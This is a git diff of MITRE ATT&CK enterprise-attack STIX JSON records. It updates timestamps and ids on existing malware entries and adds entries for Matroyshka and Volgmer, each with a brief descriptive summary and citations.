+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "x_mitre_aliases": [
+                "Felismus"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/malware/malware--199463de-d9be-46d6-bb41-07234c1dd5a6.json b/enterprise-attack/malware/malware--199463de-d9be-46d6-bb41-07234c1dd5a6.json
index f7db3635e5..f1c1dfb0b8 100644
--- a/enterprise-attack/malware/malware--199463de-d9be-46d6-bb41-07234c1dd5a6.json
+++ b/enterprise-attack/malware/malware--199463de-d9be-46d6-bb41-07234c1dd5a6.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--36b9bbc7-9189-4dcf-80e8-1f677fe39bd3",
+    "id": "bundle--00f8d759-1496-44bb-a9ff-55a51ebd4a2a",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "malware--199463de-d9be-46d6-bb41-07234c1dd5a6",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:32:36.177Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "GeminiDuke",
             "description": "GeminiDuke is malware that was used by APT29 from 2009 to 2012. (Citation: F-Secure The Dukes)\n\nAliases: GeminiDuke",
             "labels": [
diff --git a/enterprise-attack/malware/malware--1cc934e4-b01d-4543-a011-b988dfc1a458.json b/enterprise-attack/malware/malware--1cc934e4-b01d-4543-a011-b988dfc1a458.json
new file mode 100644
index 0000000000..91e29b8a64
--- /dev/null
+++ b/enterprise-attack/malware/malware--1cc934e4-b01d-4543-a011-b988dfc1a458.json
@@ -0,0 +1,42 @@
+{
+    "type": "bundle",
+    "id": "bundle--7b377570-041e-422f-aac6-74558807a32c",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "malware",
+            "id": "malware--1cc934e4-b01d-4543-a011-b988dfc1a458",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "name": "Matroyshka",
+            "description": "Matroyshka is a malware framework used by CopyKittens that consists of a dropper, loader, and RAT. It has multiple versions; v1 was seen in the wild from July 2016 until January 2017. v2 has fewer commands and other minor differences. (Citation: ClearSky Wilted Tulip July 2017) (Citation: CopyKittens Nov 2015)\n\nAliases: Matroyshka",
+            "labels": [
+                "malware"
+            ],
+            "external_references": [
+                {
+                    "source_name": "mitre-attack",
+                    "url": "https://attack.mitre.org/wiki/Software/S0167",
+                    "external_id": "S0167"
+                },
+                {
+                    "source_name": "ClearSky Wilted Tulip July 2017",
+                    "description": "ClearSky Cyber Security and Trend Micro. (2017, July). Operation Wilted Tulip: Exposing a cyber espionage apparatus. Retrieved August 21, 2017.",
+                    "url": "http://www.clearskysec.com/wp-content/uploads/2017/07/Operation%20Wilted%20Tulip.pdf"
+                },
+                {
+                    "source_name": "CopyKittens Nov 2015",
+                    "description": "Minerva Labs LTD and ClearSky Cyber Security. (2015, November 23). CopyKittens Attack Group. Retrieved September 11, 2017.",
+                    "url": "https://s3-eu-west-1.amazonaws.com/minervaresearchpublic/CopyKittens/CopyKittens.pdf"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "x_mitre_aliases": [
+                "Matroyshka"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/malware/malware--1d808f62-cf63-4063-9727-ff6132514c22.json b/enterprise-attack/malware/malware--1d808f62-cf63-4063-9727-ff6132514c22.json
index 468bad0032..8e89d60a3e 100644
--- a/enterprise-attack/malware/malware--1d808f62-cf63-4063-9727-ff6132514c22.json
+++ b/enterprise-attack/malware/malware--1d808f62-cf63-4063-9727-ff6132514c22.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--821d38e4-22b4-4051-8ea6-9ecc04a91c6b",
+    "id": "bundle--e43b9dfe-b489-4b16-a414-fc545f03eec8",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "malware--1d808f62-cf63-4063-9727-ff6132514c22",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:06.433Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "WEBC2",
             "description": "WEBC2 is a backdoor used by APT1 to retrieve a Web page from a predetermined C2 server. (Citation: Mandiant APT1 Appendix)\n\nAliases: WEBC2",
             "labels": [
diff --git a/enterprise-attack/malware/malware--22addc7b-b39f-483d-979a-1b35147da5de.json b/enterprise-attack/malware/malware--22addc7b-b39f-483d-979a-1b35147da5de.json
index 217e6c1ca9..790fb81c2a 100644
--- a/enterprise-attack/malware/malware--22addc7b-b39f-483d-979a-1b35147da5de.json
+++ b/enterprise-attack/malware/malware--22addc7b-b39f-483d-979a-1b35147da5de.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--ae398114-030a-4ab2-91ad-61f283a6744a",
+    "id": "bundle--080e1f42-6326-4e49-a625-c5287d863063",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "malware--22addc7b-b39f-483d-979a-1b35147da5de",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:32:40.004Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "WinMM",
             "description": "WinMM is a full-featured, simple backdoor used by Naikon. (Citation: Baumgartner Naikon 2015)\n\nAliases: WinMM",
             "labels": [
diff --git a/enterprise-attack/malware/malware--234e7770-99b0-4f65-b983-d3230f76a60b.json b/enterprise-attack/malware/malware--234e7770-99b0-4f65-b983-d3230f76a60b.json
index 0f4538bba4..309dca2745 100644
--- a/enterprise-attack/malware/malware--234e7770-99b0-4f65-b983-d3230f76a60b.json
+++ b/enterprise-attack/malware/malware--234e7770-99b0-4f65-b983-d3230f76a60b.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--4770dd25-5426-4877-8a4c-0dc277cf4f8b",
+    "id": "bundle--3be3652a-fbbc-4686-8e3b-5317704b13ea",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "malware--234e7770-99b0-4f65-b983-d3230f76a60b",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Janicab",
             "description": " (Citation: Janicab) is an OS X trojan that relied on a valid developer ID and oblivious users to install it. (Citation: Janicab)\n\nAliases:  (Citation: Janicab)",
             "labels": [
diff --git a/enterprise-attack/malware/malware--251fbae2-78f6-4de7-84f6-194c727a64ad.json b/enterprise-attack/malware/malware--251fbae2-78f6-4de7-84f6-194c727a64ad.json
index 30ee3a8f1b..bd91393549 100644
--- a/enterprise-attack/malware/malware--251fbae2-78f6-4de7-84f6-194c727a64ad.json
+++ b/enterprise-attack/malware/malware--251fbae2-78f6-4de7-84f6-194c727a64ad.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--3723f7cc-6e82-4a4a-a978-02accde4ca5b",
+    "id": "bundle--afaec069-ca1f-4301-ab37-dd39e709568c",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "malware--251fbae2-78f6-4de7-84f6-194c727a64ad",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:32:14.527Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Lurid",
             "description": "Lurid is a malware family that has been used by several groups, including PittyTiger, in targeted attacks as far back as 2006. (Citation: Villeneuve 2014) (Citation: Villeneuve 2011)\n\nAliases: Lurid, Enfal",
             "labels": [
diff --git a/enterprise-attack/malware/malware--26fed817-e7bf-41f9-829a-9075ffac45c2.json b/enterprise-attack/malware/malware--26fed817-e7bf-41f9-829a-9075ffac45c2.json
index 611a25aa78..db497dfc19 100644
--- a/enterprise-attack/malware/malware--26fed817-e7bf-41f9-829a-9075ffac45c2.json
+++ b/enterprise-attack/malware/malware--26fed817-e7bf-41f9-829a-9075ffac45c2.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--3a668cce-c124-48a7-a16e-bc84a2fbf8b4",
+    "id": "bundle--e997cc26-a173-4e00-a73d-2691c649608a",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "malware--26fed817-e7bf-41f9-829a-9075ffac45c2",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:32:57.344Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Kasidet",
             "description": "Kasidet is a backdoor that has been dropped by using malicious VBA macros. (Citation: Zscaler Kasidet)\n\nAliases: Kasidet",
             "labels": [
diff --git a/enterprise-attack/malware/malware--2a6f4c7b-e690-4cc7-ab6b-1f821fb6b80b.json b/enterprise-attack/malware/malware--2a6f4c7b-e690-4cc7-ab6b-1f821fb6b80b.json
index d3d747a0ff..1b05a9deba 100644
--- a/enterprise-attack/malware/malware--2a6f4c7b-e690-4cc7-ab6b-1f821fb6b80b.json
+++ b/enterprise-attack/malware/malware--2a6f4c7b-e690-4cc7-ab6b-1f821fb6b80b.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--cae20bdd-37a9-4bd7-87e6-0d717e9ca381",
+    "id": "bundle--50541534-1a39-49a6-b817-870a20d11453",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "malware--2a6f4c7b-e690-4cc7-ab6b-1f821fb6b80b",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:32:33.348Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "LOWBALL",
             "description": "LOWBALL is malware used by admin@338. It was used in August 2015 in email messages targeting Hong Kong-based media organizations. (Citation: FireEye admin@338)\n\nAliases: LOWBALL",
             "labels": [
diff --git a/enterprise-attack/malware/malware--2daa14d6-cbf3-4308-bb8e-213c324a08e4.json b/enterprise-attack/malware/malware--2daa14d6-cbf3-4308-bb8e-213c324a08e4.json
index c4557efea6..ec1edd9e76 100644
--- a/enterprise-attack/malware/malware--2daa14d6-cbf3-4308-bb8e-213c324a08e4.json
+++ b/enterprise-attack/malware/malware--2daa14d6-cbf3-4308-bb8e-213c324a08e4.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--3048a0ef-f8be-4c4d-bbc4-6fa417e6f9bf",
+    "id": "bundle--5585f77e-b159-42bc-b639-0abac5d52234",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "malware--2daa14d6-cbf3-4308-bb8e-213c324a08e4",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:32:29.203Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "HAMMERTOSS",
             "description": "HAMMERTOSS is a backdoor that was used by APT29 in 2015. (Citation: FireEye APT29) (Citation: F-Secure The Dukes)\n\nAliases: HAMMERTOSS, HammerDuke, NetDuke",
             "labels": [
diff --git a/enterprise-attack/malware/malware--2dd34b01-6110-4aac-835d-b5e7b936b0be.json b/enterprise-attack/malware/malware--2dd34b01-6110-4aac-835d-b5e7b936b0be.json
index da4834900f..61015e1425 100644
--- a/enterprise-attack/malware/malware--2dd34b01-6110-4aac-835d-b5e7b936b0be.json
+++ b/enterprise-attack/malware/malware--2dd34b01-6110-4aac-835d-b5e7b936b0be.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--1552d75a-e32a-4f38-9a4a-b3e3a337af55",
+    "id": "bundle--a904e000-891e-43eb-afdb-d962a41ccb24",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "malware--2dd34b01-6110-4aac-835d-b5e7b936b0be",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:18.946Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "OLDBAIT",
             "description": "OLDBAIT is a credential harvester used by APT28. (Citation: FireEye APT28) (Citation: FireEye APT28) January 2017\n\nAliases: OLDBAIT, Sasfis",
             "labels": [
diff --git a/enterprise-attack/malware/malware--2eb9b131-d333-4a48-9eb4-d8dec46c19ee.json b/enterprise-attack/malware/malware--2eb9b131-d333-4a48-9eb4-d8dec46c19ee.json
index c0fe7a79de..5c645add57 100644
--- a/enterprise-attack/malware/malware--2eb9b131-d333-4a48-9eb4-d8dec46c19ee.json
+++ b/enterprise-attack/malware/malware--2eb9b131-d333-4a48-9eb4-d8dec46c19ee.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--bf04da53-4f05-4b88-a679-9fe1960e9c88",
+    "id": "bundle--da296a19-cddc-454c-8a79-082cfaf8b004",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "malware--2eb9b131-d333-4a48-9eb4-d8dec46c19ee",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:32:36.550Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "CosmicDuke",
             "description": "CosmicDuke is malware that was used by APT29 from 2010 to 2015. (Citation: F-Secure The Dukes)\n\nAliases: CosmicDuke, TinyBaron, BotgenStudios, NemesisGemina",
             "labels": [
diff --git a/enterprise-attack/malware/malware--2f1a9fd0-3b7c-4d77-a358-78db13adbe78.json b/enterprise-attack/malware/malware--2f1a9fd0-3b7c-4d77-a358-78db13adbe78.json
index 8d48742582..6ead3e2b77 100644
--- a/enterprise-attack/malware/malware--2f1a9fd0-3b7c-4d77-a358-78db13adbe78.json
+++ b/enterprise-attack/malware/malware--2f1a9fd0-3b7c-4d77-a358-78db13adbe78.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--9bf8e214-ffd7-4c60-84cd-aa0c2067c4e0",
+    "id": "bundle--b83af768-f003-4708-85a6-cef85358cac6",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "malware--2f1a9fd0-3b7c-4d77-a358-78db13adbe78",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "EvilGrab",
             "description": "EvilGrab is a malware family with common reconnaissance capabilities. It has been deployed by menuPass via malicious Microsoft Office documents as part of spearphishing campaigns. (Citation: PWC Cloud Hopper Technical Annex April 2017)\n\nAliases: EvilGrab",
             "labels": [
diff --git a/enterprise-attack/malware/malware--2fb26586-2b53-4b9a-ad4f-2b3bcb9a2421.json b/enterprise-attack/malware/malware--2fb26586-2b53-4b9a-ad4f-2b3bcb9a2421.json
index 89a0bf72a1..77e1d78f23 100644
--- a/enterprise-attack/malware/malware--2fb26586-2b53-4b9a-ad4f-2b3bcb9a2421.json
+++ b/enterprise-attack/malware/malware--2fb26586-2b53-4b9a-ad4f-2b3bcb9a2421.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--880bcae9-80d1-4470-a53f-dcf34f86b921",
+    "id": "bundle--48965a9d-c9e8-4a48-9e6f-21384efd9aa8",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "malware--2fb26586-2b53-4b9a-ad4f-2b3bcb9a2421",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:32:39.606Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "SslMM",
             "description": "SslMM is a full-featured backdoor used by Naikon that has multiple variants. (Citation: Baumgartner Naikon 2015)\n\nAliases: SslMM",
             "labels": [
diff --git a/enterprise-attack/malware/malware--3240cbe4-c550-443b-aa76-cc2a7058b870.json b/enterprise-attack/malware/malware--3240cbe4-c550-443b-aa76-cc2a7058b870.json
index da2d79eaab..7a183aadbc 100644
--- a/enterprise-attack/malware/malware--3240cbe4-c550-443b-aa76-cc2a7058b870.json
+++ b/enterprise-attack/malware/malware--3240cbe4-c550-443b-aa76-cc2a7058b870.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--2c50164b-7bfb-4014-b4e3-ab932db6f62c",
+    "id": "bundle--163688ef-3662-4f8d-9826-c00d35b1d331",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "malware--3240cbe4-c550-443b-aa76-cc2a7058b870",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "SNUGRIDE",
             "description": "SNUGRIDE is a backdoor that has been used by menuPass as first stage malware. (Citation: FireEye APT10 April 2017)\n\nAliases: SNUGRIDE",
             "labels": [
diff --git a/enterprise-attack/malware/malware--326af1cd-78e7-45b7-a326-125d2f7ef8f2.json b/enterprise-attack/malware/malware--326af1cd-78e7-45b7-a326-125d2f7ef8f2.json
index cb5d61ad43..d0cd4534ee 100644
--- a/enterprise-attack/malware/malware--326af1cd-78e7-45b7-a326-125d2f7ef8f2.json
+++ b/enterprise-attack/malware/malware--326af1cd-78e7-45b7-a326-125d2f7ef8f2.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--83e2bd8d-3317-448c-aefd-72607c3690b1",
+    "id": "bundle--4cdbc24f-64a4-4322-a3d2-f51b4e06829d",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "malware--326af1cd-78e7-45b7-a326-125d2f7ef8f2",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:08.679Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Crimson",
             "description": "Crimson is malware used as part of a campaign known as Operation Transparent Tribe that targeted Indian diplomatic and military victims. (Citation: Proofpoint Operation Transparent Tribe March 2016)\n\nAliases: Crimson, MSIL/Crimson",
             "labels": [
diff --git a/enterprise-attack/malware/malware--37cc7eb6-12e3-467b-82e8-f20f2cc73c69.json b/enterprise-attack/malware/malware--37cc7eb6-12e3-467b-82e8-f20f2cc73c69.json
index ea8d0c663d..2622c44028 100644
--- a/enterprise-attack/malware/malware--37cc7eb6-12e3-467b-82e8-f20f2cc73c69.json
+++ b/enterprise-attack/malware/malware--37cc7eb6-12e3-467b-82e8-f20f2cc73c69.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--b206ac96-d90c-458e-81d8-50ac5acd7152",
+    "id": "bundle--d42a87ed-fbcc-4bcb-9612-6fff34f12144",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "malware--37cc7eb6-12e3-467b-82e8-f20f2cc73c69",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:07.943Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Prikormka",
             "description": "Prikormka is a malware family used in a campaign known as Operation Groundbait. It has predominantly been observed in Ukraine and was used as early as 2008. (Citation: ESET Operation Groundbait)\n\nAliases: Prikormka",
             "labels": [
diff --git a/enterprise-attack/malware/malware--3cab1b76-2f40-4cd0-8d2c-7ed16eeb909c.json b/enterprise-attack/malware/malware--3cab1b76-2f40-4cd0-8d2c-7ed16eeb909c.json
index dacd592be3..b8549459f7 100644
--- a/enterprise-attack/malware/malware--3cab1b76-2f40-4cd0-8d2c-7ed16eeb909c.json
+++ b/enterprise-attack/malware/malware--3cab1b76-2f40-4cd0-8d2c-7ed16eeb909c.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--4a585c50-f297-4565-88a6-44ee98ba09f8",
+    "id": "bundle--0cc54e19-64f8-47c2-8ab5-017d9154b120",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "malware--3cab1b76-2f40-4cd0-8d2c-7ed16eeb909c",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:32:43.237Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "ELMER",
             "description": "ELMER is a non-persistent, proxy-aware HTTP backdoor written in Delphi that has been used by APT16. (Citation: FireEye EPS Awakens Part 2)\n\nAliases: ELMER",
             "labels": [
diff --git a/enterprise-attack/malware/malware--40d3e230-ed32-469f-ba89-be70cc08ab39.json b/enterprise-attack/malware/malware--40d3e230-ed32-469f-ba89-be70cc08ab39.json
index 6ff397f5ae..7215023421 100644
--- a/enterprise-attack/malware/malware--40d3e230-ed32-469f-ba89-be70cc08ab39.json
+++ b/enterprise-attack/malware/malware--40d3e230-ed32-469f-ba89-be70cc08ab39.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--3d70fe3f-c193-4b18-8d09-805a9b8e2b87",
+    "id": "bundle--55a0883f-48b4-45a8-b36c-0a895b77c54c",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "malware--40d3e230-ed32-469f-ba89-be70cc08ab39",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:32:59.153Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Agent.btz",
             "description": "Agent.btz is a worm that primarily spreads itself via removable devices such as USB drives. It reportedly infected U.S. military networks in 2008. (Citation: Securelist Agent.btz)\n\nAliases: Agent.btz",
             "labels": [
@@ -23,7 +23,7 @@
                 {
                     "source_name": "Securelist Agent.btz",
                     "description": "Gostev, A.. (2014, March 12). Agent.btz: a Source of Inspiration?. Retrieved April 8, 2016.",
-                    "url": "https://securelist.com/blog/virus-watch/58551/agent-btz-a-source-of-inspiration/"
+                    "url": "https://securelist.com/agent-btz-a-source-of-inspiration/58551/"
                 }
             ],
             "object_marking_refs": [
diff --git a/enterprise-attack/malware/malware--43213480-78f7-4fb3-976f-d48f5f6a4c2a.json b/enterprise-attack/malware/malware--43213480-78f7-4fb3-976f-d48f5f6a4c2a.json
index dd1a8c9fa1..a109c54d7b 100644
--- a/enterprise-attack/malware/malware--43213480-78f7-4fb3-976f-d48f5f6a4c2a.json
+++ b/enterprise-attack/malware/malware--43213480-78f7-4fb3-976f-d48f5f6a4c2a.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--08549727-010e-4f53-922d-471fef78b3f6",
+    "id": "bundle--e28b592c-07a2-492c-be84-a7978c5441fb",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "malware--43213480-78f7-4fb3-976f-d48f5f6a4c2a",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:32:28.754Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "FLASHFLOOD",
             "description": "FLASHFLOOD is malware developed by APT30 that allows propagation and exfiltration of data over removable devices. APT30 may use this capability to exfiltrate data across air-gaps. (Citation: FireEye APT30)\n\nAliases: FLASHFLOOD",
             "labels": [
diff --git a/enterprise-attack/malware/malware--463f68f1-5cde-4dc2-a831-68b73488f8f4.json b/enterprise-attack/malware/malware--463f68f1-5cde-4dc2-a831-68b73488f8f4.json
index f9b66051f3..9d9abfa620 100644
--- a/enterprise-attack/malware/malware--463f68f1-5cde-4dc2-a831-68b73488f8f4.json
+++ b/enterprise-attack/malware/malware--463f68f1-5cde-4dc2-a831-68b73488f8f4.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--aac113e8-7470-48f7-b492-c8cadac6facb",
+    "id": "bundle--939328c9-a3e1-4459-8deb-ba1ba9a8b3d8",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "malware--463f68f1-5cde-4dc2-a831-68b73488f8f4",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:32:53.681Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "MobileOrder",
             "description": "MobileOrder is a Trojan intended to compromise Android mobile devices. It has been used by Scarlet Mimic. (Citation: Scarlet Mimic Jan 2016)\n\nAliases: MobileOrder",
             "labels": [
diff --git a/enterprise-attack/malware/malware--495b6cdb-7b5a-4fbc-8d33-e7ef68806d08.json b/enterprise-attack/malware/malware--495b6cdb-7b5a-4fbc-8d33-e7ef68806d08.json
new file mode 100644
index 0000000000..32e5379ec7
--- /dev/null
+++ b/enterprise-attack/malware/malware--495b6cdb-7b5a-4fbc-8d33-e7ef68806d08.json
@@ -0,0 +1,37 @@
+{
+    "type": "bundle",
+    "id": "bundle--eca8ba1a-8b1d-4422-ab9d-c4ea2b232540",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "malware",
+            "id": "malware--495b6cdb-7b5a-4fbc-8d33-e7ef68806d08",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "name": "Volgmer",
+            "description": "is a backdoor Trojan designed to provide covert access to a compromised system. It has been used since at least 2013 to target the government, financial, automotive, and media industries. Its primary delivery mechanism is suspected to be spearphishing. (Citation: US-CERT Volgmer Nov 2017)\n\nAliases: Volgmer",
+            "labels": [
+                "malware"
+            ],
+            "external_references": [
+                {
+                    "source_name": "mitre-attack",
+                    "url": "https://attack.mitre.org/wiki/Software/S0180",
+                    "external_id": "S0180"
+                },
+                {
+                    "source_name": "US-CERT Volgmer Nov 2017",
+                    "description": "US-CERT. (2017, November 22). Alert (TA17-318B): HIDDEN COBRA \u2013 North Korean Trojan: Volgmer. Retrieved December 7, 2017.",
+                    "url": "https://www.us-cert.gov/ncas/alerts/TA17-318B"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "x_mitre_aliases": [
+                "Volgmer"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/malware/malware--4b62ab58-c23b-4704-9c15-edd568cd59f8.json b/enterprise-attack/malware/malware--4b62ab58-c23b-4704-9c15-edd568cd59f8.json
index 1ff8ac6d10..5635dfa9b6 100644
--- a/enterprise-attack/malware/malware--4b62ab58-c23b-4704-9c15-edd568cd59f8.json
+++ b/enterprise-attack/malware/malware--4b62ab58-c23b-4704-9c15-edd568cd59f8.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--5f6bf205-b260-45ba-96c9-7de293bb779b",
+    "id": "bundle--0881b448-e9cb-4377-8632-97a408ad4986",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "malware--4b62ab58-c23b-4704-9c15-edd568cd59f8",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:32:35.389Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Hacking Team UEFI Rootkit",
             "description": "Hacking Team UEFI Rootkit is a rootkit developed by the company Hacking Team as a method of persistence for remote access software. (Citation: TrendMicro Hacking Team UEFI)\n\nAliases: Hacking Team UEFI Rootkit",
             "labels": [
diff --git a/enterprise-attack/malware/malware--4c59cce8-cb48-4141-b9f1-f646edfaadb0.json b/enterprise-attack/malware/malware--4c59cce8-cb48-4141-b9f1-f646edfaadb0.json
index 789bd803f0..1178e65f24 100644
--- a/enterprise-attack/malware/malware--4c59cce8-cb48-4141-b9f1-f646edfaadb0.json
+++ b/enterprise-attack/malware/malware--4c59cce8-cb48-4141-b9f1-f646edfaadb0.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--a0145a90-bd0c-4a0b-bba8-f25df0f1cce0",
+    "id": "bundle--70f41478-c8aa-4d60-a46e-0dd65240b3e6",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "malware--4c59cce8-cb48-4141-b9f1-f646edfaadb0",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:32:17.959Z",
-            "modified": "2017-12-14T16:55:59.600Z",
